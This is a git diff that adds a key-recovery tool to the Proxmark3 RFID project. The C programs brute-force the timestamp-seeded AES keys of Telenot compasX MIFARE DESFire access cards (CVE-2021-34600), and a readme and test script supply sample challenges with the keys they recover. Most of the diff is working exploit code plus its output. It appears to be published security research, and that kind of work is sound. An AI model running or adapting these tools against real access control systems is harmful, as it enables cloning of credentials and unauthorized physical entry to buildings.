diff --git a/.gitignore b/.gitignore
index e2c051377..b45eaf403 100644
--- a/.gitignore
+++ b/.gitignore
@@ -76,6 +76,8 @@ tools/cryptorf/sma_multi
tools/mf_nonce_brute/mf_nonce_brute
tools/mf_nonce_brute/mf_trace_brute
tools/jtag_openocd/openocd_configuration
+tools/mfd_aes_brute/mfd_aes_brute
+tools/mfd_aes_brute/brute_key
fpga/*
!fpga/tests
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 48551b4e7..cdd08bff7 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased]
+ - Added new tool `brute_key` - MIFARE DESFire Telenot access AES recovery (@x41sec)
- Fixed `hf mfu dump -k` - insert PWD in dump (@doegox)
- Changed `hf mfu pwdgen` - now generate xiaomi air purifier pwd/pack (@doegox)
- Fixed `hf 14a sim` - sneaky detection of user supplied UID might be empty (@iceman1001)
diff --git a/Makefile b/Makefile
index f446e880e..f1c06b392 100644
--- a/Makefile
+++ b/Makefile
@@ -29,7 +29,7 @@ ifneq (,$(DESTDIR))
endif
endif
-all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% mf_nonce_brute/% fpga_compress/%
+all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% mf_nonce_brute/% mfd_aes_brute/% fpga_compress/%
# hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack"
#all clean install uninstall check: %: hitag2crack/%
@@ -105,6 +105,9 @@ nonce2key/check: FORCE
mf_nonce_brute/check: FORCE
$(info [*] CHECK $(patsubst %/check,%,$@))
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
+mfd_aes_brute/check: FORCE
+ $(info [*] CHECK $(patsubst %/check,%,$@))
+ $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
fpga_compress/check: FORCE
$(info [*] CHECK $(patsubst %/check,%,$@))
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
@@ -138,6 +141,9 @@ nonce2key/%: FORCE
mf_nonce_brute/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/mf_nonce_brute $(patsubst mf_nonce_brute/%,%,$@) DESTDIR=$(MYDESTDIR)
+mfd_aes_brute/%: FORCE
+ $(info [*] MAKE $@)
+ $(Q)$(MAKE) --no-print-directory -C tools/mfd_aes_brute $(patsubst mfd_aes_brute/%,%,$@) DESTDIR=$(MYDESTDIR)
fpga_compress/%: FORCE cleanifplatformchanged
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/fpga_compress $(patsubst fpga_compress/%,%,$@) DESTDIR=$(MYDESTDIR)
@@ -180,6 +186,7 @@ help:
@echo "+ mfkey - Make tools/mfkey"
@echo "+ nonce2key - Make tools/nonce2key"
@echo "+ mf_nonce_brute - Make tools/mf_nonce_brute"
+ @echo "+ mf_aes_brute - Make tools/mfd_aes_brute"
@echo "+ hitag2crack - Make tools/hitag2crack"
@echo "+ fpga_compress - Make tools/fpga_compress"
@echo
@@ -218,6 +225,8 @@ nonce2key: nonce2key/all
mf_nonce_brute: mf_nonce_brute/all
+mfd_aes_brute: mfd_aes_brute/all
+
fpga_compress: fpga_compress/all
hitag2crack: hitag2crack/all
diff --git a/tools/mfd_aes_brute/Makefile b/tools/mfd_aes_brute/Makefile
new file mode 100644
index 000000000..a8e11aecb
--- /dev/null
+++ b/tools/mfd_aes_brute/Makefile
@@ -0,0 +1,26 @@
+MYSRCPATHS = ../../common ../../common/mbedtls
+MYSRCS = util_posix.c
+MYINCLUDES = -I../../include -I../../common -I../../common/mbedtls
+MYCFLAGS = -march=native -Ofast
+MYDEFS =
+MYLDLIBS = -lcrypto
+ifneq ($(SKIPPTHREAD),1)
+MYLDLIBS += -lpthread
+endif
+
+
+BINS = brute_key mfd_aes_brute
+INSTALLTOOLS = $(BINS)
+
+include ../../Makefile.host
+
+# checking platform can be done only after Makefile.host
+ifneq (,$(findstring MINGW,$(platform)))
+ # Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z)
+ # and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1
+ CFLAGS += -D_ISOC99_SOURCE
+endif
+
+brute_key : $(OBJDIR)/brute_key.o $(MYOBJS)
+
+mfd_aes_brute : $(OBJDIR)/mfd_aes_brute.o $(MYOBJS)
diff --git a/tools/mfd_aes_brute/brute_key.c b/tools/mfd_aes_brute/brute_key.c
new file mode 100644
index 000000000..5db3feded
--- /dev/null
+++ b/tools/mfd_aes_brute/brute_key.c
@@ -0,0 +1,162 @@
+// Brute forces transponder AES keys generated by Telenot's compasX software
+// Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+//
+// requires openssl-devel
+// gcc -o brute_key -march=native -Ofast orginal.c -lcrypto
+//
+// usage: ./$s <16 byte tag challenge> <32 byte lock challenge>
+
+// makes it ~14% slower
+//#define SPINNER
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+uint32_t seed = 0;
+
+static uint32_t borland_rand(void) {
+ seed = (seed * 22695477) % UINT_MAX;
+ seed = (seed + 1) % UINT_MAX;
+ return (seed >> 16) & 0x7fff;
+}
+
+static void borland_srand(uint32_t s) {
+ seed = s;
+ borland_rand();
+}
+
+static void make_key(uint32_t s, uint8_t key[]) {
+ borland_srand(s);
+ for (int i = 0; i < 16; i++) {
+ key[i] = borland_rand() % 0xFF;
+ }
+}
+
+static void handleErrors(void) {
+ ERR_print_errors_fp(stderr);
+ abort();
+}
+
+// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
+static int decrypt(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) {
+ EVP_CIPHER_CTX *ctx;
+ int len;
+ int plaintext_len;
+
+ if(!(ctx = EVP_CIPHER_CTX_new()))
+ handleErrors();
+
+ if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
+ handleErrors();
+
+ EVP_CIPHER_CTX_set_padding(ctx, 0);
+
+ if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
+ handleErrors();
+ plaintext_len = len;
+
+ if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
+ handleErrors();
+ plaintext_len += len;
+
+ EVP_CIPHER_CTX_free(ctx);
+
+ return plaintext_len;
+}
+
+static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) {
+ size_t hexstr_len = strlen(hexstr);
+ if (hexstr_len % 16) {
+ return 1;
+ }
+ if (byte_len < hexstr_len/2) {
+ return 2;
+ }
+ char *pos = &hexstr[0];
+ for (size_t count = 0; *pos != 0; count++) {
+ sscanf(pos, "%2hhx", &bytes[count]);
+ pos += 2;
+ }
+ return 0;
+}
+
+int main (int argc, char* argv[]) {
+
+ uint8_t iv[16] = {0x00};
+ uint8_t key[16] = {0x00};
+ uint8_t dec_tag[16] = {0x00};
+ uint8_t dec_rdr[32] = {0x00};
+ uint8_t tag_challenge[16] = {0x00};
+ uint8_t lock_challenge[32] = {0x00};
+
+ int timestamp = atoi(argv[1]);
+
+ if (argc != 4) {
+ printf("\nusage: %s <16 byte tag challenge> <32 byte lock challenge>\n\n", argv[0]);
+ return 1;
+ }
+
+ if(hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge)))
+ return 2;
+
+ if(hexstr_to_byte_array(argv[3], lock_challenge, sizeof(lock_challenge)))
+ return 3;
+
+ int start_time = time(NULL);
+
+ for (; timestamp < start_time; timestamp++) {
+
+ make_key(timestamp, key);
+ decrypt(tag_challenge, 16, key, iv, dec_tag);
+ decrypt(lock_challenge, 32, key, tag_challenge, dec_rdr);
+
+ // check rol byte first
+ if (dec_tag[0] != dec_rdr[31]) continue;
+
+ // compare rest
+ if (dec_tag[1] != dec_rdr[16]) continue;
+ if (dec_tag[2] != dec_rdr[17]) continue;
+ if (dec_tag[3] != dec_rdr[18]) continue;
+ if (dec_tag[4] != dec_rdr[19]) continue;
+ if (dec_tag[5] != dec_rdr[20]) continue;
+ if (dec_tag[6] != dec_rdr[21]) continue;
+ if (dec_tag[7] != dec_rdr[22]) continue;
+ if (dec_tag[8] != dec_rdr[23]) continue;
+ if (dec_tag[9] != dec_rdr[24]) continue;
+ if (dec_tag[10] != dec_rdr[25]) continue;
+ if (dec_tag[11] != dec_rdr[26]) continue;
+ if (dec_tag[12] != dec_rdr[27]) continue;
+ if (dec_tag[13] != dec_rdr[28]) continue;
+ if (dec_tag[14] != dec_rdr[29]) continue;
+ if (dec_tag[15] != dec_rdr[30]) continue;
+
+
+ printf("\btimestamp: %i\nkey: ", timestamp);
+ for (int i = 0; i < 16; i++) {
+ printf("%02x", key[i]);
+ }
+ printf("\n");
+ exit(0);
+
+ }
+ printf("key not found\n");
+ exit(2);
+}
diff --git a/tools/mfd_aes_brute/mfd_aes_brute.c b/tools/mfd_aes_brute/mfd_aes_brute.c
new file mode 100644
index 000000000..a10d43f7a
--- /dev/null
+++ b/tools/mfd_aes_brute/mfd_aes_brute.c
@@ -0,0 +1,292 @@
+// Multi threaded bruteforce tool
+// for transponder AES keys generated by Telenot's compasX software
+// Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
+// Copyright (C) 2022 Iceman
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+
+#define __STDC_FORMAT_MACROS
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "util_posix.h"
+
+#define AEND "\x1b[0m"
+#define _RED_(s) "\x1b[31m" s AEND
+#define _GREEN_(s) "\x1b[32m" s AEND
+#define _YELLOW_(s) "\x1b[33m" s AEND
+#define _CYAN_(s) "\x1b[36m" s AEND
+
+// a global mutex to prevent interlaced printing from different threads
+pthread_mutex_t print_lock;
+
+static int global_found = 0;
+static int thread_count = 2;
+
+typedef struct thread_args {
+ int thread;
+ int idx;
+ uint64_t starttime;
+ uint64_t stoptime;
+ uint8_t tag[16];
+ uint8_t rdr[32];
+} targs;
+
+static void make_key(uint32_t seed, uint8_t key[]) {
+
+ uint32_t lseed = seed;
+ lseed = (lseed * 22695477) % UINT_MAX;
+ lseed = (lseed + 1) % UINT_MAX;
+
+ for (int i = 0; i < 16; i++) {
+ lseed = (lseed * 22695477) % UINT_MAX;
+ lseed = (lseed + 1) % UINT_MAX;
+ key[i] = ((lseed >> 16) & 0x7fff) % 0xFF;
+ }
+}
+
+static void handleErrors(void) {
+ ERR_print_errors_fp(stderr);
+ abort();
+}
+
+// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
+static int decrypt_aes(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) {
+ EVP_CIPHER_CTX *ctx;
+ if (!(ctx = EVP_CIPHER_CTX_new()))
+ handleErrors();
+
+ if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
+ handleErrors();
+
+ EVP_CIPHER_CTX_set_padding(ctx, 0);
+
+ int len = 0;
+ if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
+ handleErrors();
+
+ int plaintext_len = len;
+
+ if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
+ handleErrors();
+
+ plaintext_len += len;
+
+ EVP_CIPHER_CTX_free(ctx);
+ return plaintext_len;
+}
+
+static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) {
+ size_t hexstr_len = strlen(hexstr);
+ if (hexstr_len % 16) {
+ return 1;
+ }
+
+ if (byte_len < (hexstr_len / 2)) {
+ return 2;
+ }
+
+ char *pos = &hexstr[0];
+ for (size_t count = 0; *pos != 0; count++) {
+ sscanf(pos, "%2hhx", &bytes[count]);
+ pos += 2;
+ }
+ return 0;
+}
+
+static void print_hex(const uint8_t *data, const size_t len) {
+ if (data == NULL || len == 0) return;
+
+ for (size_t i = 0; i < len; i++) {
+ printf("%02X", data[i]);
+ }
+
+ printf("\n");
+}
+
+static void print_time(uint64_t at) {
+
+ time_t t = at;
+ struct tm lt;
+ (void) localtime_r(&t, <);
+
+ char res[32];
+ strftime(res, sizeof(res), "%Y-%m-%d %H:%M:%S", <);
+
+ printf("%u ( '%s' )\n", (unsigned)t, res);
+}
+
+static void *brute_thread(void *arguments) {
+
+ struct thread_args *args = (struct thread_args *) arguments;
+
+ uint64_t starttime = args->starttime;
+
+ uint64_t stoptime = args->stoptime;
+ uint8_t local_tag[16];
+ uint8_t local_rdr[32];
+ memcpy(local_tag, args->tag, 16);
+ memcpy(local_rdr, args->rdr, 32);
+
+ for (uint64_t i = starttime + args->idx; i < stoptime; i += thread_count) {
+
+ if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) {
+ break;
+ }
+
+ uint8_t key[16] = {0x00};
+ make_key(i, key);
+
+ uint8_t iv[16] = {0x00};
+ uint8_t dec_tag[16] = {0x00};
+ decrypt_aes(local_tag, 16, key, iv, dec_tag);
+
+ uint8_t dec_rdr[32] = {0x00};
+ decrypt_aes(local_rdr, 32, key, local_tag, dec_rdr);
+
+ // check rol byte first
+ if (dec_tag[0] != dec_rdr[31]) continue;
+
+ // compare rest
+ if (dec_tag[1] != dec_rdr[16]) continue;
+ if (dec_tag[2] != dec_rdr[17]) continue;
+ if (dec_tag[3] != dec_rdr[18]) continue;
+ if (dec_tag[4] != dec_rdr[19]) continue;
+ if (dec_tag[5] != dec_rdr[20]) continue;
+ if (dec_tag[6] != dec_rdr[21]) continue;
+ if (dec_tag[7] != dec_rdr[22]) continue;
+ if (dec_tag[8] != dec_rdr[23]) continue;
+ if (dec_tag[9] != dec_rdr[24]) continue;
+ if (dec_tag[10] != dec_rdr[25]) continue;
+ if (dec_tag[11] != dec_rdr[26]) continue;
+ if (dec_tag[12] != dec_rdr[27]) continue;
+ if (dec_tag[13] != dec_rdr[28]) continue;
+ if (dec_tag[14] != dec_rdr[29]) continue;
+ if (dec_tag[15] != dec_rdr[30]) continue;
+
+ __sync_fetch_and_add(&global_found, 1);
+
+ // lock this section to avoid interlacing prints from different threats
+ pthread_mutex_lock(&print_lock);
+
+ printf("Found timestamp........ ");
+ print_time(i);
+
+ printf("key.................... \x1b[32m");
+ print_hex(key, sizeof(key));
+ printf(AEND);
+
+ pthread_mutex_unlock(&print_lock);
+ break;
+ }
+
+ free(args);
+ return NULL;
+}
+
+static int usage(const char* s) {
+ printf(_YELLOW_("syntax:") "\n");
+ printf(" %s <16 byte tag challenge> <32 byte reader response challenge>\n", s);
+ printf("\n");
+ printf(_YELLOW_("example:") "\n");
+ printf(" ./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c\n");
+ printf("\n");
+ return 1;
+}
+
+int main (int argc, char* argv[]) {
+
+ printf("\n");
+ printf(_CYAN_("Telenot access MIFARE DESFire AES key recovery tool") "\n");
+ printf("multi-threaded edition\n");
+ printf("-----------------------------------------------------\n");
+ printf("\n");
+
+ if (argc != 4) return usage(argv[0]);
+
+ uint64_t start_time = atoi(argv[1]);
+
+ uint8_t tag_challenge[16] = {0x00};
+ if (hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge)))
+ return 2;
+
+ uint8_t rdr_resp_challenge[32] = {0x00};
+ if (hexstr_to_byte_array(argv[3], rdr_resp_challenge, sizeof(rdr_resp_challenge)))
+ return 3;
+
+ printf("Starting timestamp..... ");
+ print_time(start_time);
+
+ printf("Tag Challenge.......... ");
+ print_hex(tag_challenge, sizeof(tag_challenge));
+
+ printf("Rdr Resp & Challenge... ");
+ print_hex(rdr_resp_challenge, sizeof(rdr_resp_challenge));
+
+
+ uint64_t t1 = msclock();
+
+#if !defined(_WIN32) || !defined(__WIN32__)
+ thread_count = sysconf(_SC_NPROCESSORS_CONF);
+ if (thread_count < 2)
+ thread_count = 2;
+#endif /* _WIN32 */
+
+ printf("\nBruteforce using " _YELLOW_("%d") " threads\n", thread_count);
+
+ pthread_t threads[thread_count];
+
+ // create a mutex to avoid interlacing print commands from our different threads
+ pthread_mutex_init(&print_lock, NULL);
+
+ // threads
+ uint64_t stop_time = time(NULL);
+ for (int i = 0; i < thread_count; ++i) {
+ struct thread_args *a = calloc(1, sizeof(struct thread_args));
+ a->thread = i;
+ a->idx = i;
+ a->starttime = start_time;
+ a->stoptime = stop_time;
+ memcpy(a->tag, tag_challenge, 16);
+ memcpy(a->rdr, rdr_resp_challenge, 32);
+ pthread_create(&threads[i], NULL, brute_thread, (void *)a);
+ }
+
+ // wait for threads to terminate:
+ for (int i = 0; i < thread_count; ++i) {
+ pthread_join(threads[i], NULL);
+ }
+
+ if (global_found == false) {
+ printf("\n" _RED_("!!!") " failed to find a key\n\n");
+ }
+
+ t1 = msclock() - t1;
+ if (t1 > 0) {
+ printf("execution time " _YELLOW_("%.2f") " sec\n", (float)t1 / 1000.0);
+ }
+
+ // clean up mutex
+ pthread_mutex_destroy(&print_lock);
+ return 0;
+}
diff --git a/tools/mfd_aes_brute/readme.txt b/tools/mfd_aes_brute/readme.txt
new file mode 100644
index 000000000..c69835609
--- /dev/null
+++ b/tools/mfd_aes_brute/readme.txt
@@ -0,0 +1,62 @@
+# AUTH AES
+#
+# blog: https://x41-dsec.de/lab/blog/telenot-complex-insecure-keygen/
+#
+# Recover the AES key for Telenot Access system's desfire cards.
+# CVE-2021-34600
+#
+# Finds the UNIX timestamp an AES key created with compasX version older than 32.0 has been generated.
+# Will not work on access tokens afterwards.
+#
+
+
+# Unix time stamp 2006-01-01
+1136073600
+
+# reader challenge
+3fda933e2953ca5e6cfbbf95d1b51ddf
+
+# tag resp, challenge
+97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
+
+
+#
+# Original source code by authors
+#
+
+# simple
+./brute_key 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c
+
+# complex
+./brute_key 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
+
+
+#
+# Multi threaded version (Iceman)
+#
+
+# simple
+./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c
+
+expected result:
+261c07a23f2bc8262f69f10a5bdf3764
+
+
+Bruteforce using 8 threads
+Found timestamp........ 1631100305 ( '2021-09-08 13:25:05' )
+key.................... 261c07a23f2bc8262f69f10a5bdf3764
+execution time 1.00 sec
+
+#
+# complex
+./mfd_aes_brute 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
+
+expected result:
+e757178e13516a4f3171bc6ea85e165a
+
+
+Bruteforce using 8 threads
+Found timestamp........ 1606834416 ( '2020-12-01 15:53:36' )
+key.................... e757178e13516a4f3171bc6ea85e165a
+execution time 18.54 sec
+
diff --git a/tools/mfd_aes_brute/util_posix.c b/tools/mfd_aes_brute/util_posix.c
new file mode 100644
index 000000000..050040a32
--- /dev/null
+++ b/tools/mfd_aes_brute/util_posix.c
@@ -0,0 +1,137 @@
+//-----------------------------------------------------------------------------
+// Copyright (C) 2010 iZsh
+//
+// This code is licensed to you under the terms of the GNU GPL, version 2 or,
+// at your option, any later version. See the LICENSE.txt file for the text of
+// the license.
+//-----------------------------------------------------------------------------
+// utilities requiring Posix library functions
+//-----------------------------------------------------------------------------
+
+// ensure availability even with -std=c99; must be included before
+#if !defined(_WIN32)
+//#define _POSIX_C_SOURCE 199309L // need nanosleep()
+#define _POSIX_C_SOURCE 200112L // need localtime_r()
+#else
+#include
+#endif
+
+#include "util_posix.h"
+#include
+#include
+
+
+// Timer functions
+#if !defined (_WIN32)
+#include
+
+static void nsleep(uint64_t n) {
+ struct timespec timeout;
+ timeout.tv_sec = n / 1000000000;
+ timeout.tv_nsec = n % 1000000000;
+ while (nanosleep(&timeout, &timeout) && errno == EINTR);
+}
+
+void msleep(uint32_t n) {
+ nsleep(1000000 * (uint64_t)n);
+}
+#endif // _WIN32
+
+#ifdef __APPLE__
+
+#ifndef CLOCK_MONOTONIC
+#define CLOCK_MONOTONIC (1)
+#endif
+#ifndef CLOCK_REALTIME
+#define CLOCK_REALTIME (2)
+#endif
+
+#include
+#include
+#include
+#include
+
+/* clock_gettime is not implemented on OSX prior to 10.12 */
+int _civet_clock_gettime(int clk_id, struct timespec *t);
+
+int _civet_clock_gettime(int clk_id, struct timespec *t) {
+ memset(t, 0, sizeof(*t));
+ if (clk_id == CLOCK_REALTIME) {
+ struct timeval now;
+ int rv = gettimeofday(&now, NULL);
+ if (rv) {
+ return rv;
+ }
+ t->tv_sec = now.tv_sec;
+ t->tv_nsec = now.tv_usec * 1000;
+ return 0;
+
+ } else if (clk_id == CLOCK_MONOTONIC) {
+ static uint64_t clock_start_time = 0;
+ static mach_timebase_info_data_t timebase_info = {0, 0};
+
+ uint64_t now = mach_absolute_time();
+
+ if (clock_start_time == 0) {
+
+ mach_timebase_info(&timebase_info);
+ clock_start_time = now;
+ }
+
+ now = (uint64_t)((double)(now - clock_start_time)
+ * (double)timebase_info.numer
+ / (double)timebase_info.denom);
+
+ t->tv_sec = now / 1000000000;
+ t->tv_nsec = now % 1000000000;
+ return 0;
+ }
+ return -1; // EINVAL - Clock ID is unknown
+}
+
+/* if clock_gettime is declared, then __CLOCK_AVAILABILITY will be defined */
+#ifdef __CLOCK_AVAILABILITY
+/* If we compiled with Mac OSX 10.12 or later, then clock_gettime will be declared
+ * but it may be NULL at runtime. So we need to check before using it. */
+int _civet_safe_clock_gettime(int clk_id, struct timespec *t);
+
+int _civet_safe_clock_gettime(int clk_id, struct timespec *t) {
+ if (clock_gettime) {
+ return clock_gettime(clk_id, t);
+ }
+ return _civet_clock_gettime(clk_id, t);
+}
+#define clock_gettime _civet_safe_clock_gettime
+#else
+#define clock_gettime _civet_clock_gettime
+#endif
+
+#endif
+
+
+// a milliseconds timer for performance measurement
+uint64_t msclock(void) {
+#if defined(_WIN32)
+#include
+
+ // WORKAROUND FOR MinGW (some versions - use if normal code does not compile)
+ // It has no _ftime_s and needs explicit inclusion of timeb.h
+#include
+ struct _timeb t;
+ _ftime(&t);
+ return 1000 * (uint64_t)t.time + t.millitm;
+
+// NORMAL CODE (use _ftime_s)
+ //struct _timeb t;
+ //if (_ftime_s(&t)) {
+ // return 0;
+ //} else {
+ // return 1000 * t.time + t.millitm;
+ //}
+#else
+ struct timespec t;
+ clock_gettime(CLOCK_MONOTONIC, &t);
+ return (1000 * (uint64_t)t.tv_sec + t.tv_nsec / 1000000);
+#endif
+}
+
diff --git a/tools/mfd_aes_brute/util_posix.h b/tools/mfd_aes_brute/util_posix.h
new file mode 100644
index 000000000..546b4ea35
--- /dev/null
+++ b/tools/mfd_aes_brute/util_posix.h
@@ -0,0 +1,26 @@
+//-----------------------------------------------------------------------------
+// Copyright (C) 2010 iZsh
+//
+// This code is licensed to you under the terms of the GNU GPL, version 2 or,
+// at your option, any later version. See the LICENSE.txt file for the text of
+// the license.
+//-----------------------------------------------------------------------------
+// utilities requiring Posix library functions
+//-----------------------------------------------------------------------------
+
+#ifndef UTIL_POSIX_H__
+#define UTIL_POSIX_H__
+
+#include "common.h"
+
+#ifdef _WIN32
+# include
+# define sleep(n) Sleep(1000 *(n))
+# define msleep(n) Sleep((n))
+#else
+void msleep(uint32_t n); // sleep n milliseconds
+#endif // _WIN32
+
+uint64_t msclock(void); // a milliseconds clock
+
+#endif
diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh
index ed48e200f..1d308510c 100755
--- a/tools/pm3_tests.sh
+++ b/tools/pm3_tests.sh
@@ -12,6 +12,7 @@ TESTALL=true
TESTMFKEY=false
TESTNONCE2KEY=false
TESTMFNONCEBRUTE=false
+TESTMFDAESBRUTE=false
TESTHITAG2CRACK=false
TESTFPGACOMPRESS=false
TESTBOOTROM=false
@@ -26,7 +27,7 @@ while (( "$#" )); do
case "$1" in
-h|--help)
echo """
-Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|mf_nonce_brute|fpga_compress|bootrom|armsrc|client|recovery|common]
+Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|mf_nonce_brute|mfd_aes_brute|fpga_compress|bootrom|armsrc|client|recovery|common]
--long: Enable slow tests
--opencl: Enable tests requiring OpenCL (preferably a Nvidia GPU)
--clientbin ...: Specify path to proxmark3 binary to test
@@ -66,6 +67,11 @@ Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|
TESTMFNONCEBRUTE=true
shift
;;
+ mfd_aes_brute)
+ TESTALL=false
+ TESTMFDAESBRUTE=true
+ shift
+ ;;
fpga_compress)
TESTALL=false
TESTFPGACOMPRESS=true
@@ -281,6 +287,12 @@ while true; do
if ! CheckFileExist "mf_nonce_brute exists" "$MFNONCEBRUTEBIN"; then break; fi
if ! CheckExecute slow "mf_nonce_brute test 1/2" "$MFNONCEBRUTEBIN 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a" "Key found \[.*ffffffffffff.*\]"; then break; fi
if ! CheckExecute slow "mf_nonce_brute test 2/2" "$MFNONCEBRUTEBIN 96519578 d7e3c6ac 0011 cd311951 9da49e49 0010 2bb22e00 0100 a4f7f398" "Key found \[.*3b7e4fd575ad.*\]"; then break; fi
+ fi
+ if $TESTALL || $TESTMFDAESBRUTE; then
+ echo -e "\n${C_BLUE}Testing mfd_aes_brute:${C_NC} ${MFDASEBRUTEBIN:=./tools/mfd_aes_brute/mfd_aes_brute}"
+ if ! CheckFileExist "mfd_aes_brute exists" "$MFDASEBRUTEBIN"; then break; fi
+ if ! CheckExecute "mfd_aes_brute test 1/2" "$MFDASEBRUTEBIN 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c" "key.................... 261c07a23f2bc8262f69f10a5bdf3764"; then break; fi
+ if ! CheckExecute slow "mfd_aes_brute test 2/2" "$MFDASEBRUTEBIN 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583" "key.................... e757178e13516a4f3171bc6ea85e165a"; then break; fi
fi
# hitag2crack not yet part of "all"
# if $TESTALL || $TESTHITAG2CRACK; then